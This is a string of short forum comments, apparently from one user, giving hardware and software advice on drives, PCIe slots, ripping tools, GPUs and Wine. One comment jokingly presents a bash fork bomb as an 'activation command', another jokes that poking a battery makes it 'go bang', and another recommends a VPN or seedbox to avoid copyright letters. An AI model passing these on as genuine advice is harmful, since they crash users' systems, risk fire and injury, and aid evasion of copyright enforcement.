I would get a recertified enterprise drive from Server Part Deals. Drives in the 12-18TB range currently have the best price per TB. Be sure to get a SATA drive if it’s going in a desktop.

Doesn’t everyone know the activation command is :(){ :|:& };:

Motherboards almost always use a normal m.2 WiFi & Bluetooth module. You can swap it out if needed.

Just poke the battery and it will go bang too.

So what will produce the most optimized code, a modern C compiler or an AI generating assembly?
I’m guessing the C compiler will do a much better job.

For a dual port card, you will want an 8 lane PCIe 3.0 slot connected to the CPU. Almost any desktop CPU will have enough lanes since you won’t be using a graphics card. You can get by with a 4 lane slot, but you won’t be able to max out both ports bidirectionally at the same time.

MakeMKV is the only cross platform bluray ripper that I’m aware of that will work with any disc. For DVDs, I normally use Handbrake.

That’s why I was wondering if they fixed it. It’s been quite a while since I’ve used an Nvidia card.
I’ve never had any screen tearing issues with AMD cards or Intel integrated GPUs.

Has the Nvidia screen tearing issue been fixed? I’ve had 2 computers with Nvidia GPUs (GTX 560 Ti & GTX 765M) and they both had awful screen tearing that I couldn’t get rid of unless I disabled compositing.

There are mid range CPUs with 128MB of L3 cache now. A Linux distro like Tiny Core could fit entirely in cache.

I wonder how many issues rewriting everything in another language will create?

In Thunderbird you can move the emails to a local folder and they will be fully downloaded.

With 8GB, you could run any DE without worrying about RAM usage. 2GB DDR2 DIMMs are dirt cheap on ebay, so I would recommend maxing it out while RAM is still readily available. That CPU will still run most modern software at a reasonable speed.

Because modern “journalists” only know how to copy and paste from other “news sites” and random social media posts.

Good, it serves them right for the way they treat their customers. I hope every one of their games gets leaked early.

The older versions were rather buggy on Wine. MO 2.5 and newer work great, but they need Wine 9 to run.

When the hard drive got full. Luckily, hard drives keep getting bigger and bigger.

The orange indicating gel is less toxic, but it’s still not good for you. Don’t dry any indicating silica gel in the same oven you use for food. The clear silica gel is non toxic, but breathing the dust can cause silicosis.

It was buggy and crashed a lot, but at least there was no telemetry.

You can get a VPN or seedbox to avoid those letters. They are a lot cheaper than a single streaming service.